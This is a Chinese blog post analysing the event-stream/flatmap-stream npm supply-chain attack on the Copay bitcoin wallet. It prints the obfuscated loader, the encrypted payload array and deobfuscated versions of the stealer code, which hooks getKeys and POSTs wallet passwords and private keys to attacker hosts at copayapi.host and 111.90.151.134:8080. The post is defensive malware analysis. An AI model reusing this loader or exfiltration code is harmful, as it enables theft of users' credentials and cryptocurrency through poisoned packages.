如果你是JavaScript或者区块链开发者，如果你有关注区块链以及比特币，那么你应该听说了比特币钱包Copay被黑客攻击的事情。但是，你知道这是怎么回事吗？
总结
- 比特币钱包copay依赖event-stream模块；
- 黑客从骗取了event-stream模块的npm发布权限；
- 黑客为event-stream模块添加了依赖flatmap-stream；
- flatmap-stream含有黑客代码，仅会在copay项目中正确执行，窃取用户的密码、私钥等信息，从而盗取比特币；
- 有人说什么Vue可能遭受攻击，其实没有这回事，因为黑客代码只会在copay项目中正确执行。只有copay项目的package.json中的description字符串"A Secure Bitcoin Wallet"能够解密黑客代码；而且，黑客的代码是为copay量身定做的，对其他项目没有作用；再说，黑客是来窃取的比特币的，又不是挖矿，你的项目有比特币给人家偷吗?
Q&A
- 哪个版本的copay被攻击了？5.0.2到5.1.0
- 哪个版本的event-stream被攻击了？3.3.6
- 哪个版本的flatmap-stream被攻击了？0.1.1
- Vue会受到攻击吗？不会
另外，欢迎大家免费试用Fundebug的错误监控服务哈~
寻找flatmap-stream中的黑客代码
flatmap-stream已经被npm删除了，不过还能在UNPKG上找到代码：https://unpkg.com/flatmap-stream@0.1.1/index.min.js
index.min.js是经过压缩的代码，因此可读性很差：
代码语言：txt复制var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c 1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c ,t ):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a=== o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a ;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a =u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();但是，黑客的黑客代码隐藏的并不深，直接添加在index.min.js的后面：
代码语言：txt复制!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a =u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();使用unminify将黑客代码还原：
代码语言：txt复制! function() {
try {
var r = require,
t = process;
function e(r) {
return Buffer.from(r, "hex").toString()
}
var n = r(e("2e2f746573742f64617461")),
o = t[e(n[3])][e(n[4])];
if (!o) return;
var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
a = u.update(n[0], e(n[8]), e(n[9]));
a = u.final(e(n[9]));
var f = new module.constructor;
f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
} catch (r) {}
}();这段代码其实很短，黑客混淆的方式并不高明，我们可以一步一步还原。
- 使用require替换变量r
- 使用process替换变量t
- 函数e任务很简单，就是把16进制字符串转为ASCII字符串，因此更名为hexToAscii
!(function() {
try {
function hexToAscii(r) {
return Buffer.from(r, "hex").toString();
}
var n = require(hexToAscii("2e2f746573742f64617461")),
o = process[hexToAscii(n[3])][hexToAscii(n[4])];
if (!o) return;
var u = require(hexToAscii(n[2]))[hexToAscii(n[6])](
hexToAscii(n[5]),
o
),
a = u.update(n[0], hexToAscii(n[8]), hexToAscii(n[9]));
a = u.final(hexToAscii(n[9]));
var f = new module.constructor();
(f.paths = module.paths), f[hexToAscii(n[7])](a, ""), f.exports(n[1]);
} catch (r) {
// 忽略报错
}
})();很明显，黑客使用hexToAscii函数是为了混淆代码，比如hexToAscii("2e2f746573742f64617461")其实就是./test/data，因此数组n即为：https://unpkg.com/flatmap-stream@0.1.1/test/data.js，这个data文件已经找不到了，根据FallingSnow之前的分析，它是一个数组：
代码语言：txt复制[
"75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629",
"db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1",
"63727970746f",
"656e76",
"6e706d5f7061636b6167655f6465736372697074696f6e",
"616573323536",
"6372656174654465636970686572",
"5f636f6d70696c65",
"686578",
"75746638"
]数组n中一共有10个元素，除了前面2个元素，其他元素在代码中均通过hexToAscii函数进行了转换，其转换结果如下:
- hexToAscii(n2): crypto
- hexToAscii(n3): env
- hexToAscii(n4): npm_package_description
- hexToAscii(n5): aes256
- hexToAscii(n6): createDecipher
- hexToAscii(n7): _compile
- hexToAscii(n8): hex
- hexToAscii(n9): utf8
将这些值全部替换掉，代码如下：
代码语言：txt复制!(function() {
try {
var n = [
"75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629",
"db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1"
];
var o = process["env"]["npm_package_description"];
if (!o) return;
var u = require("crypto")["createDecipher"]("aes256", o),
a = u.update(n[0], "hex", "utf8");
a = u.final("utf8");
var f = new module.constructor();
(f.paths = module.paths), f["_compile"](a, ""), f.exports(n[1]);
} catch (r) {
// 忽略报错
}
})();代码中使用了crypto.createDecipher函数，其文档如下：
代码语言：txt复制crypto.createDecipher(algorithm, password)
// Creates and returns a Decipher object that uses the given algorithm and password可知，代码将项目的npm_package_description作为密码来解密n0字符串，而copay项目的package.json的description属性是"A Secure Bitcoin Wallet"，"恰好"可以成功解密n0字符串，unminify之后如下：
代码语言：txt复制/*@@*/
module.exports = function(e) {
try {
if (!/build:.*-release/.test(process.argv[2])) return;
var t = process.env.npm_package_description,
r = require("fs"),
i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
n = r.statSync(i),
c = r.readFileSync(i, "utf8"),
o = require("crypto").createDecipher("aes256", t),
s = o.update(e, "hex", "utf8");
s = "n" (s = o.final("utf8"));
var a = c.indexOf("n/*@@*/");
0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
try {
r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)
} catch (e) {}
})
} catch (e) {}
};我们在解密的代码中看到了完全一样的套路，只是这次解密的是n1，unminify之后如下：
代码语言：txt复制/*@@*/ ! function() {
function e() {
try {
var o = require("http"),
a = require("crypto"),
c = "-----BEGIN PUBLIC KEY-----nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4CnDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfjnBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW /BiGud7b77Fwfq372fUuEIkn2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZznLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76Ton2wIDAQABn-----END PUBLIC KEY-----";
function i(e, t, n) {
e = Buffer.from(e, "hex").toString();
var r = o.request({
hostname: e,
port: 8080,
method: "POST",
path: "/" t,
headers: {
"Content-Length": n.length,
"Content-Type": "text/html"
}
}, function() {});
r.on("error", function(e) {}), r.write(n), r.end()
}
function r(e, t) {
for (var n = "", r = 0; r < t.length; r = 200) {
var o = t.substr(r, 200);
n = a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") " "
}
i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
}
function l(t, n) {
if (window.cordova) try {
var e = cordova.file.dataDirectory;
resolveLocalFileSystemURL(e, function(e) {
e.getFile(t, {
create: !1
}, function(e) {
e.file(function(e) {
var t = new FileReader;
t.onloadend = function() {
return n(JSON.parse(t.result))
}, t.onerror = function(e) {
t.abort()
}, t.readAsText(e)
})
})
})
} catch (e) {} else {
try {
var r = localStorage.getItem(t);
if (r) return n(JSON.parse(r))
} catch (e) {}
try {
chrome.storage.local.get(t, function(e) {
if (e) return n(JSON.parse(e[t]))
})
} catch (e) {}
}
}
global.CSSMap = {}, l("profile", function(e) {
for (var t in e.credentials) {
var n = e.credentials[t];
"livenet" == n.network && l("balanceCache-" n.walletId, function(e) {
var t = this;
t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
}.bind(n))
}
});
var e = require("bitcore-wallet-client/lib/credentials.js");
e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
var t = this.getKeysFunc(e);
try {
global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e "t" this.xPubKey))
} catch (e) {}
return t
}
} catch (e) {}
}
window.cordova ? document.addEventListener("deviceready", e) : e()
}();这段代码才是真正窃取比特币的代码，我们稍后再分析。
黑客是如何隐藏黑客代码的？
- 黑客一共隐藏了3段代码；
- 第1段代码隐藏在flatmap-stream的index.min.js结尾，代码中使用了16进制字符串来隐藏正真使用的字符串；
- 第2段代码隐藏在flatmap-stream的test/data的数组中，需要使用copay项目的description字符串才能解密，它在第1段代码中解密；
- 第3段代码也隐藏在flatmap-stream的test/data的数组中，需要使用copay项目的description字符串才能解密，它在第2段代码中解密；
- 正真窃取比特币钱包copay的是第3段代码；
- 第2段和第3段代码刚好需要使用copay中的description字符串"A Secure Bitcoin Wallet"才能解密，可知黑客攻击的目标就是copay项目；
- 黑客多处使用了Buffer.from(str, "hex").toString()来混淆代码，将ASCII字符串转换为16进制字符串，使我们难以读懂代码；
- 黑客2次使用了AES256算法加密黑客代码，如果找不到解密的密码，就不可能知道黑客到底是攻击哪个项目，也不知道他干了什么。 maths22成功找到了密码"A Secure Bitcoin Wallet"以及被攻击的项目copay；
- 黑客把所有黑客代码都写在了try...catch里面，否则抛出莫名其妙的错误很容易暴露；(这里从另一个角度证明了监控代码错误的重要性，欢迎大家免费试用Fundebug)
黑客是如何窃取比特币的
我分析并且简化了黑客的第3段代码，如下：
代码语言：txt复制/*global cordova resolveLocalFileSystemURL chrome*/
!(function() {
var http = require("http");
var crypto = require("crypto");
// 黑客的公钥，用于加密窃取的数据，这样只有黑客的公钥可以解密
var publicKey =
"-----BEGIN PUBLIC KEY-----nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4CnDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfjnBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW /BiGud7b77Fwfq372fUuEIkn2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZznLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76Ton2wIDAQABn-----END PUBLIC KEY-----";
// 将窃取的数据发送到黑客的服务器
function httpRequest(hostname, path, data) {
var request = http.request(
{
hostname: hostname,
port: 8080,
method: "POST",
path: "/" path,
headers: {
"Content-Length": data.length,
"Content-Type": "text/html"
}
},
function() {}
);
request.on("error", function() {});
request.write(data);
request.end();
}
// 用户密码发送至http://111.90.151.134:8080/p
// 用户其他信息发送至http://111.90.151.134:8080/c
function sendToHacker(path, t) {
// 黑客对数据进行了简单的编码以及加密
for (var n = "", r = 0; r < t.length; r = 200) {
var o = t.substr(r, 200);
// 使用黑客的公钥对窃取的数据进行加密
n =
crypto
.publicEncrypt(publicKey, Buffer.from(o, "utf8"))
.toString("hex") " ";
}
httpRequest("copayapi.host", path, n);
httpRequest("111.90.151.134", path, n);
}
// 窃取用户信息
function getUserInfo(type, n) {
if (window.cordova) {
var e = cordova.file.dataDirectory;
resolveLocalFileSystemURL(e, function(e) {
e.getFile(
type,
{
create: !1
},
function(e) {
e.file(function(e) {
var t = new FileReader();
(t.onloadend = function() {
return n(JSON.parse(t.result));
}),
(t.onerror = function() {
t.abort();
}),
t.readAsText(e);
});
}
);
});
} else {
var r = localStorage.getItem(type);
if (r) return n(JSON.parse(r));
chrome.storage.local.get(type, function(e) {
if (e) return n(JSON.parse(e[type]));
});
}
}
function steal() {
var ifSteal = false;
// 窃取将用户的隐私信息，比如私钥
getUserInfo("profile", function(profile) {
for (var t in profile.credentials) {
var n = profile.credentials[t];
if (n.network == "livenet") {
getUserInfo(
"balanceCache-" n.walletId,
function(e) {
var t = this;
t.balance = parseFloat(e.balance.split(" ")[0]);
// 当比特币超过100个或者bch超过1000个时，将用户数据发送到黑客服务器
if (
("btc" == t.coin && t.balance > 100) ||
("bch" == t.coin && t.balance > 1000)
) {
ifSteal = true;
sendToHacker("c", JSON.stringify(t));
}
}.bind(n)
);
}
}
});
// 通过重写getKeys函数来窃取用户的密码
var Credentials = require("bitcore-wallet-client/lib/credentials.js");
Credentials.prototype.getKeysFunc = Credentials.prototype.getKeys;
Credentials.prototype.getKeys = function(password) {
var keys = this.getKeysFunc(password);
if (ifSteal) {
// 将窃取的密码发送到黑客服务器
sendToHacker("p", password "t" this.xPubKey);
}
return keys;
};
}
if (window.cordova) {
document.addEventListener("deviceready", steal);
} else {
steal();
}
})();详细分析可以看我写的代码注释，另外，我还总结了这些要点
- 这段代码的目的是窃取用户信息，并非挖矿；
- 黑客通过重写getKeys函数窃取了copay用户的密码，发送到http://111.90.151.134:8080/p
- 黑客窃取了copay用户所有的隐私信息，包括私钥，发送到http://111.90.151.134:8080/c
- 黑客对窃取的数据进行了简单混淆以及公钥加密，因此只有他可以读取窃取的数据；
- 黑客显然分析了copay源码，然后量身定做了这段代码，因此这段代码对其他项目是无效的，肯定会报错，所以他写了很多try...catch。从另一个角度来讲，其他项目比如Vue完全不用担心；
- 通过nmap命令扫描黑客的服务器111.90.151.134的8080端口可知，他目前已经不再接收窃取的数据；
结尾
通过这件事，大家可能会觉得开源不安全，但是我不这样看。黑客之所以处心积虑想了这么多歪招来窃取用户数据，就是因为代码是开源的，他不敢乱来。另外，这件事虽然潜伏了几个月，但是一经发现，大家分析一下代码，齐心协力很快就发现黑客到底干了什么，把整件事的来龙去脉翻了个底朝天，我也是基于大家的工作又梳理了这件事。我们应该思考的是，如何让代码更加安全，而这件事恰恰可以给我们很多启示，这个我下次再聊。
